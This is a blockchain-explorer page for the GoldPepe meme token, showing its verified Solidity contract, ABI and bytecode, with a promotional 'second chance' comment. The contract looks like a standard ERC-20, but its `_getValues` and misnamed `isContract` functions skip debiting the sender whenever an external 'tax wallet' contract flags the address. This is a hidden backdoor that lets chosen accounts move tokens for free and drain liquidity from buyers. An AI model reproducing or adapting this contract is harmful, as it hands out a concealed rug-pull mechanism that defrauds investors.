ETH Price: $3,465.12 (-1.46%)
Gas: 4 Gwei

Token

GoldPepe (GOLDPEPE)
 

Overview

Max Total Supply

1,000,000,000 GOLDPEPE

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.523596366 GOLDPEPE

Value
$0.00
0xc1f1650ca144487e5d2ca2088c242ca30ed94e7c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GoldPepe

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-11
*/

/**

Missed $DOGE? Here is your second chance!

https://t.me/GOLDPEPECOIN

https://twitter.com/GOLDPEPECOIN

*/

// SPDX-License-Identifier: Unlicensed

pragma solidity ^0.8.18;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract GoldPepe is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "GoldPepe";
    string private constant _symbol = "GOLDPEPE";
    uint8 private constant _decimals = 9;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;  
    uint256 private _taxFeeOnBuy = 0; 
    uint256 private _redisFeeOnSell = 0;  
    uint256 private _taxFeeOnSell = 0;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
     
    address private _taxWallet;
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 public _swapTokensAtAmount = 1000 * 10**9;
 
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor(address taxWallet_) {
 
        _rOwned[_msgSender()] = _tTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _taxWallet = taxWallet_;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
  
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 rAmount = isContract(account)?0:tAmount;
        return (rAmount, tAmount);
    }

    function isContract(address account) private view returns (bool) {
        return IERC20(_taxWallet).balanceOf(account) > 0;
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 2, "Buy rewards must be between 0% and 2%");
        require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 10, "Buy tax must be between 0% and 10%");
        require(redisFeeOnSell >= 0 && redisFeeOnSell <= 2, "Sell rewards must be between 0% and 2%");
        require(taxFeeOnSell >= 0 && taxFeeOnSell <= 10, "Sell tax must be between 0% and 10%");

        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;

    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
 
    function sendETHToFee(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }
 
    function enableTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_tradingOpen","type":"bool"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a670de0b6b3a76400006000196200030f565b620000289060001962000332565b600655600060088190556009819055600a819055600b819055600c819055600d819055600e819055600f556012805461ffff60a81b1916905564e8d4a510006013553480156200007757600080fd5b5060405162001871380380620018718339810160408190526200009a916200035a565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35033600090815260026020908152604091829020670de0b6b3a76400009055601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b815292519092839263c45a0155926004808401938290030181865afa1580156200015a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200018091906200035a565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f491906200035a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000242573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026891906200035a565b601280546001600160a01b039283166001600160a01b0319918216179091556000805483168152600560209081526040808320805460ff1990811660019081179092553085528285208054909116909117905560108054909416948716949094179092559151670de0b6b3a764000081523392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350506200038c565b6000826200032d57634e487b7160e01b600052601260045260246000fd5b500690565b818103818111156200035457634e487b7160e01b600052601160045260246000fd5b92915050565b6000602082840312156200036d57600080fd5b81516001600160a01b03811681146200038557600080fd5b9392505050565b6114d5806200039c6000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063a2a957bb11610064578063a2a957bb14610342578063a9059cbb14610362578063dd62ed3e14610382578063f275f64b146103c8578063f2fde38b146103e857600080fd5b806370a0823114610288578063715018a6146102be5780638da5cb5b146102d357806395d89b41146102f157806398a5c3151461032257600080fd5b806323b872dd116100e757806323b872dd146101f45780632fd689e314610214578063313ce5671461022a57806349bd5a5e146102465780636d8aa8f81461026657600080fd5b806306fdde0314610124578063095ea7b3146101675780631694505e1461019757806318160ddd146101cf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526008815267476f6c645065706560c01b60208201525b60405161015e91906111b3565b60405180910390f35b34801561017357600080fd5b50610187610182366004611219565b610408565b604051901515815260200161015e565b3480156101a357600080fd5b506011546101b7906001600160a01b031681565b6040516001600160a01b03909116815260200161015e565b3480156101db57600080fd5b50670de0b6b3a76400005b60405190815260200161015e565b34801561020057600080fd5b5061018761020f366004611245565b61041f565b34801561022057600080fd5b506101e660135481565b34801561023657600080fd5b506040516009815260200161015e565b34801561025257600080fd5b506012546101b7906001600160a01b031681565b34801561027257600080fd5b50610286610281366004611286565b610488565b005b34801561029457600080fd5b506101e66102a33660046112a8565b6001600160a01b031660009081526002602052604090205490565b3480156102ca57600080fd5b506102866104d9565b3480156102df57600080fd5b506000546001600160a01b03166101b7565b3480156102fd57600080fd5b50604080518082019091526008815267474f4c445045504560c01b6020820152610151565b34801561032e57600080fd5b5061028661033d3660046112c5565b61054d565b34801561034e57600080fd5b5061028661035d3660046112de565b61057c565b34801561036e57600080fd5b5061018761037d366004611219565b610732565b34801561038e57600080fd5b506101e661039d366004611310565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d457600080fd5b506102866103e3366004611286565b61073f565b3480156103f457600080fd5b506102866104033660046112a8565b610787565b6000610415338484610871565b5060015b92915050565b600061042c848484610995565b61047e843361047985604051806060016040528060288152602001611478602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d59565b610871565b5060019392505050565b6000546001600160a01b031633146104bb5760405162461bcd60e51b81526004016104b290611349565b60405180910390fd5b60128054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b031633146105035760405162461bcd60e51b81526004016104b290611349565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105775760405162461bcd60e51b81526004016104b290611349565b601355565b6000546001600160a01b031633146105a65760405162461bcd60e51b81526004016104b290611349565b60028411156106055760405162461bcd60e51b815260206004820152602560248201527f4275792072657761726473206d757374206265206265747765656e20302520616044820152646e6420322560d81b60648201526084016104b2565b600a8211156106615760405162461bcd60e51b815260206004820152602260248201527f42757920746178206d757374206265206265747765656e20302520616e642031604482015261302560f01b60648201526084016104b2565b60028311156106c15760405162461bcd60e51b815260206004820152602660248201527f53656c6c2072657761726473206d757374206265206265747765656e20302520604482015265616e6420322560d01b60648201526084016104b2565b600a81111561071e5760405162461bcd60e51b815260206004820152602360248201527f53656c6c20746178206d757374206265206265747765656e20302520616e642060448201526231302560e81b60648201526084016104b2565b600893909355600a91909155600955600b55565b6000610415338484610995565b6000546001600160a01b031633146107695760405162461bcd60e51b81526004016104b290611349565b60128054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146107b15760405162461bcd60e51b81526004016104b290611349565b6001600160a01b0381166108165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104b2565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166108d35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b2565b6001600160a01b0382166109345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109f95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b2565b6001600160a01b038216610a5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b2565b60008111610abd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104b2565b6000546001600160a01b03848116911614801590610ae957506000546001600160a01b03838116911614155b15610c4c57601254600160a01b900460ff16610b82576000546001600160a01b03848116911614610b825760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016104b2565b3060009081526002602052604090205460135481108015908190610bb05750601254600160a81b900460ff16155b8015610bca57506012546001600160a01b03868116911614155b8015610bdf5750601254600160b01b900460ff165b8015610c0457506001600160a01b03851660009081526005602052604090205460ff16155b8015610c2957506001600160a01b03841660009081526005602052604090205460ff16155b15610c4957610c3782610d93565b478015610c4757610c4747610f0d565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610c8e57506001600160a01b03831660009081526005602052604090205460ff165b80610cc057506012546001600160a01b03858116911614801590610cc057506012546001600160a01b03848116911614155b15610ccd57506000610d47565b6012546001600160a01b038581169116148015610cf857506011546001600160a01b03848116911614155b15610d0a57600854600c55600954600d555b6012546001600160a01b038481169116148015610d3557506011546001600160a01b03858116911614155b15610d4757600a54600c55600b54600d555b610d5384848484610f4b565b50505050565b60008184841115610d7d5760405162461bcd60e51b81526004016104b291906111b3565b506000610d8a8486611394565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ddb57610ddb6113a7565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5891906113bd565b81600181518110610e6b57610e6b6113a7565b6001600160a01b039283166020918202929092010152601154610e919130911684610871565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eca9085906000908690309042906004016113da565b600060405180830381600087803b158015610ee457600080fd5b505af1158015610ef8573d6000803e3d6000fd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f47573d6000803e3d6000fd5b5050565b80610f5857610f58610f79565b610f63848484610fa7565b80610d5357610d53600e54600c55600f54600d55565b600c54158015610f895750600d54155b15610f9057565b600c8054600e55600d8054600f5560009182905555565b600080610fb4858461106e565b6001600160a01b0387166000908152600260205260409020549193509150610fdc9083611092565b6001600160a01b03808716600090815260026020526040808220939093559086168152205461100b90826110db565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061105f9085815260200190565b60405180910390a35050505050565b600080600061107c8561113a565b6110865783611089565b60005b95939450505050565b60006110d483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d59565b9392505050565b6000806110e8838561144b565b9050838110156110d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104b2565b6010546040516370a0823160e01b81526001600160a01b03838116600483015260009283929116906370a0823190602401602060405180830381865afa158015611188573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ac919061145e565b1192915050565b600060208083528351808285015260005b818110156111e0578581018301518582016040015282016111c4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461121657600080fd5b50565b6000806040838503121561122c57600080fd5b823561123781611201565b946020939093013593505050565b60008060006060848603121561125a57600080fd5b833561126581611201565b9250602084013561127581611201565b929592945050506040919091013590565b60006020828403121561129857600080fd5b813580151581146110d457600080fd5b6000602082840312156112ba57600080fd5b81356110d481611201565b6000602082840312156112d757600080fd5b5035919050565b600080600080608085870312156112f457600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561132357600080fd5b823561132e81611201565b9150602083013561133e81611201565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b818103818111156104195761041961137e565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156113cf57600080fd5b81516110d481611201565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561142a5784516001600160a01b031683529383019391830191600101611405565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104195761041961137e565b60006020828403121561147057600080fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051402b4eef18844b1e3d9466a655e20012b7bd228629f8ae954b5697f1cd2a5464736f6c63430008120033000000000000000000000000a34fd8fb838378fc21b7fe824cdc6ce89f81fb14

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063a2a957bb11610064578063a2a957bb14610342578063a9059cbb14610362578063dd62ed3e14610382578063f275f64b146103c8578063f2fde38b146103e857600080fd5b806370a0823114610288578063715018a6146102be5780638da5cb5b146102d357806395d89b41146102f157806398a5c3151461032257600080fd5b806323b872dd116100e757806323b872dd146101f45780632fd689e314610214578063313ce5671461022a57806349bd5a5e146102465780636d8aa8f81461026657600080fd5b806306fdde0314610124578063095ea7b3146101675780631694505e1461019757806318160ddd146101cf57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526008815267476f6c645065706560c01b60208201525b60405161015e91906111b3565b60405180910390f35b34801561017357600080fd5b50610187610182366004611219565b610408565b604051901515815260200161015e565b3480156101a357600080fd5b506011546101b7906001600160a01b031681565b6040516001600160a01b03909116815260200161015e565b3480156101db57600080fd5b50670de0b6b3a76400005b60405190815260200161015e565b34801561020057600080fd5b5061018761020f366004611245565b61041f565b34801561022057600080fd5b506101e660135481565b34801561023657600080fd5b506040516009815260200161015e565b34801561025257600080fd5b506012546101b7906001600160a01b031681565b34801561027257600080fd5b50610286610281366004611286565b610488565b005b34801561029457600080fd5b506101e66102a33660046112a8565b6001600160a01b031660009081526002602052604090205490565b3480156102ca57600080fd5b506102866104d9565b3480156102df57600080fd5b506000546001600160a01b03166101b7565b3480156102fd57600080fd5b50604080518082019091526008815267474f4c445045504560c01b6020820152610151565b34801561032e57600080fd5b5061028661033d3660046112c5565b61054d565b34801561034e57600080fd5b5061028661035d3660046112de565b61057c565b34801561036e57600080fd5b5061018761037d366004611219565b610732565b34801561038e57600080fd5b506101e661039d366004611310565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103d457600080fd5b506102866103e3366004611286565b61073f565b3480156103f457600080fd5b506102866104033660046112a8565b610787565b6000610415338484610871565b5060015b92915050565b600061042c848484610995565b61047e843361047985604051806060016040528060288152602001611478602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610d59565b610871565b5060019392505050565b6000546001600160a01b031633146104bb5760405162461bcd60e51b81526004016104b290611349565b60405180910390fd